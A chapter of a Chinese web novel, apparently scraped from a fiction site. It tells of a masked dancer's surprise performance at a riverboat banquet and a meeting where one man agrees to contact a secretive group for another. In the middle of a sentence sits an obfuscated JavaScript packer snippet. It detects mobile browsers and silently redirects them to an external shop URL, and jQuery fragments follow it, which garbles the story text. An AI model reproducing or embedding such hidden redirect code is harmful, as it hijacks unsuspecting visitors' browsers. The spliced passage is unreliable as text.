文趣网 > 都市小说 > 愿泽 > 45. 第 45 章
    另外一边,窦森一直在仔细听每个人的说话。无奈发现大家说的和刚刚在小厅里相差无几。

    正当他觉得有些疲惫时,忽然全场寂静,低沉地箫声又一次响起。

    一抬头,只见舞台上一位女子身穿纯白长裙,头戴珠叉红带,与衣裙同色的面纱遮住半张脸,只露出如水般波光粼粼的双目。

    那女子一动,所有人的身形都不自觉地屏住呼吸随着她的动作移动。

    女子手脚上的银铃随着女子的摆动发出清脆的声音,那铃声十分轻微却传达到整个大厅每个角落。

    女子时而抬手,时而垂目,举手投足间都充满了韵味。

    窦森忽然想起幼时所学的《玉女霓裳舞》:“舞势随风散复收,歌声似磬韵还幽。千回赴节填词处,娇眼如波入鬓流。”

    他从未想现在一样如此深刻地理解这首诗的意境。

    忽的,琴音融入箫声之中,节奏也骤地加快。

    铃声“沙沙沙”地急促地响着,女子踮起脚尖在台上快步地飞舞,头上的丝带随着女子轻柔地摇摆。

    正当人们沉浸在舞姿与琴瑟的完美结合之中时,那女子突然轻盈地跳了起来,宛如一个降临人间不知世事的小仙子,落在前排一位客人的桌上。

    女子唯一露出来的眼睛侧目看了那桌上的客人一眼,随即再次起身跳到了另外一桌上,整个动作行云流水没有丝毫的迟疑。

    而与之有过短暂对视的客人竟然一个没坐稳摔到了地上,不过他此时根本就感觉不到任何尴尬,脑子已经一片空白。

    女子从这一桌跳到那一桌,几乎每一桌会踩过去却丝毫碰不到桌上的任何东西。

    有时她只是短暂停留当做踏板,有时就停下来转一圈,与那一桌上的人对视一秒后又立马离开,宛如一只正在嬉戏的蝴蝶,调皮任性,不懂人心。

    在众人或遗憾或期待的呼声当中,窦森愣愣地看着那个灵动的女子离他越来越近……

    直至终于踏到了他的桌上。

    窦森低头,一双白色的舞鞋点在桌面上,继而缓缓转了一圈,带动着上面繁复的衣摆跟着旋转,从他眼前扫过。

    抬头,只看见船柱的烛台火光,和少女仰起的侧脸,半掩的眸子。

    火的颜色将女子衣裙染红,忽明忽暗的火光之中,女子慢慢转头,渐渐地,将视线转移到窦森身上。

    那双淡漠的眸子就在两人对视之时突然有了神采,将她整个人都变得鲜活起来。

    嘭!

    窦森见过不少美丽如玉的女子,哪怕是传言中的那个天阳公主也是和他一起长大的。

    可是他却从未有过如此心悸的时刻,仿佛有电流从心口一下子布满全身。

    仅是一双眼睛,就让他心潮起伏。

    那女子见窦森呆呆的样子,眼角一弯,流露出狡黠的笑意。

    窦森还没从那秋波粼粼的眸子中反应过来,就觉得眼前一黑,他的视线似乎被女子的衣服遮住了。

    待那顺势降落的白纱一点一点地掉到地上,女子的身影回到窦森的视线里。从最上方的发带到珠叉到双眸……

    再到她皓如白雪般的面容。

    原来那遮挡在窦森面前的,就是女子脸上的面纱。

    女子,或者更应该称之为女孩。

    她那张标准的鹅蛋脸还带些微的稚气,白皙的脸上鲜红色的唇瓣十分显眼。那嘴角一翘,竟有一丝捉摸不透的意味。

    女孩抚了抚垂到身前的青丝,一边凝视着窦森一边弯下腰,那张脸慢慢放大充满了窦森整个视野。

    只见那女孩抿着嘴,笑吟吟地盯着他,那机灵古怪的神情莫名给窦森一种得逞坏笑的感觉。

    女孩在两人相距还差一尺的时候骤然起身,脚步轻点,就飞舞到了空中,引人注目的衣带在空中飞扬,她又回到了台子之上。

    “是雨霖铃!”不知是谁认出了女子的身份,惊呼道。

    随即全场一片哗然。

    “雨霖铃怎么会中途出现?”

    “天哪,简直意想不到。我还以为是醉舞坊的新人呢,我就说我怎么不知道醉舞坊还有这么一个如仙子下凡的新人。”

    “其实她跳到一半我隐隐约约有感觉是她了,毕竟这种让人分不清是仙子还是妖女的人这么多年来只见过雨霖铃一人。”

    在吵杂纷扰的议论之中,只有窦森一人沉默,却将所有人对她的评价尽数听下。

    而回到舞台上的尤林,仰头看见正前方包厢里与她对视的云朗,亦看见他一旁的洛安后,尤林收回视线,伴着曲子的最后一段节奏起舞。

    众人最后只看见那飞扬在空中的发带裙角,尤林的身影就消失不见了。

    而后台上很长一段时间没有再上来一位舞女,大家都觉得大概是给他们一点时间回味。

    可事实是醉舞坊幕后的人已经急坏了。

    一个妇人急忙跑到刚刚下台的尤林身边,哀怨道:

    “我的姑娘哟,你怎么突然就上台了呢?你中途上台,我们后面的舞还有谁想看啊?我们喊谁来压轴啊?”

    “不是还有我娘吗?”尤林一脸不知悔改,走到躺椅前坐了下来。

    “哎哟,你娘今早就跟我说让你今天压轴,她今天不跳。你说你让我怎么办?能命令你娘的现在一个都不在船上!”

    妇人直摇头,看尤林这个样子就来气。

    尤林一听诧异瞪大了眼睛,随后一歪头有些心虚地闭上眼睛装作太累睡着了。

    妇人说了半天回头一看尤林睡了,更是气得不打一处来。

    可是又无可奈何,尤林是最有可能成为下一任花魁的人,又深得老爷喜爱。妇人也不能真拿她怎么样。

    “怎么了?”一个清冷的声音从外面传来,让有些混乱的后台突然静了下来。

    本“睡着”了的尤林一听到这个声音,翻身就跳了起来。

    “娘……”

    来者正是玉玲珑。

    ------------

    而另外一边,在尤林上台时就停下来交流的包厢,在舞毕后好一会儿,洛安才又一次打破沉寂。

    “看来云公子的消息并不灵验啊。”

    云朗自己也觉得惊讶,不过也没有多加辩解,还反将了一局:“哈哈哈哈,正是想要这种意想不到的惊喜,我才愿意枯坐在这里啊。”

    这说法很有说服力,洛安一时还真找不到什么理由反驳。可是洛安直觉眼前这个人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757764|209326||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有问题,即使他暂时不能揭穿他。

    云朗手握纸扇慢慢悠悠地扇着风,看着一旁的不言却明显没有推意的洛安。

    “哎……”云朗长长叹了一口气,看见洛安一脸疑惑,他笑着摇头解释道:“没事没事,我只是想起了我一个妹妹。她总是撒着娇让我帮她做事,我这个作为哥哥的真不知道该拿她如何是好。”

    “想必是个很可爱的妹妹。”洛安笑道,“我没有妹妹,但是我想云公子的感受应该就跟我对师妹也没有办法差不多。”

    云朗立即摇头否认:“不不不,那可不是个可爱的妹妹,那就是个来找你讨债死丫头,如果不是我爹宠她,我根本不会理她。”

    说着说着语气里竟然有了几分咬牙切齿。

    “如若云公子你真的觉得你那个妹妹是个负担,你那妹妹有怎么会常常跟你撒娇呢?”洛安笑道,“女孩子对于这种事更为敏感吧?”

    云朗倒是没有一点被人看穿的尴尬:“无论我是真的讨厌还是假的讨厌,我既然已经答应了她去帮一个人,哪怕再怎么不愿意我也得出手相助是吧?”

    “云公子话里的意思是……”

    “刚刚还觉得你挺敏锐,怎么这个时候又跟个傻子一样了?你不是要找虚殒帮忙吗?我可以帮你联系。”

    ------------

    “所以说,雨霖铃又闹事了?”尤萌瞥了一眼低着头的尤林。

    “娘我错了,在最后那场群舞之前我会上去跳个更好的。”尤林立马诚恳地道了歉,先前任意妄为的样子仿佛是众人的幻觉。

    “更好?你还能跳一支比《绿腰》更好的舞?”尤萌冷漠地呵斥了一句,让尤林把头埋得更低了。

    “算了,今天我还是上台吧。”尤萌不带感情地说道,“不过这既然是雨霖铃弄出来的岔子,她不能免于惩戒。这个月你们别放她跑出去,除了上台跳舞其他时间让她面壁思过。”

    玉玲珑的压轴上台把气氛拉到了第二个高潮,直到最后的群舞上台大家都久久没能走出来。

    这场宴会后来被人津津乐道好一段时间,以至于那段时间扬州到处都能听见没能去成的遗憾不已的叹息。

    而洛安终于找到虚殒的人,哪怕是他也忍不住确认了好几次才真的相信云朗真的能联系上虚殒了。

    “你这个人还真是奇怪,我隐瞒不想让你知道的时候,你一脸坚定地认定我在说谎。而我告诉你恭喜你猜对了吧,你又不敢相信了。”

    “抱歉,实在是找寻了太久。等真的找到了有些恍惚。”洛安不好意思地拱手致歉道。

    云朗表示理解地点了点头:“好吧,说说你们找虚殒干什么?”

    洛安深呼了一口气,沉声道:“我需要知道关于愿泽的所有消息,无论是秘籍记载还是江湖传言。”

    “愿泽?”云朗皱眉念叨着这个词,“我似乎听说过,不过这是个不怎么可靠的传言吧?就没听说有谁真的到过愿泽这个地方。”

    “无论真假,我都要试试。”洛安定定地看着云朗,云朗看着洛安这坚毅的神情,不自觉地点了点头:“好吧,我去跟你联系一下,不过他们接不接我可不知道。”

    洛安点头:“拜托你了。”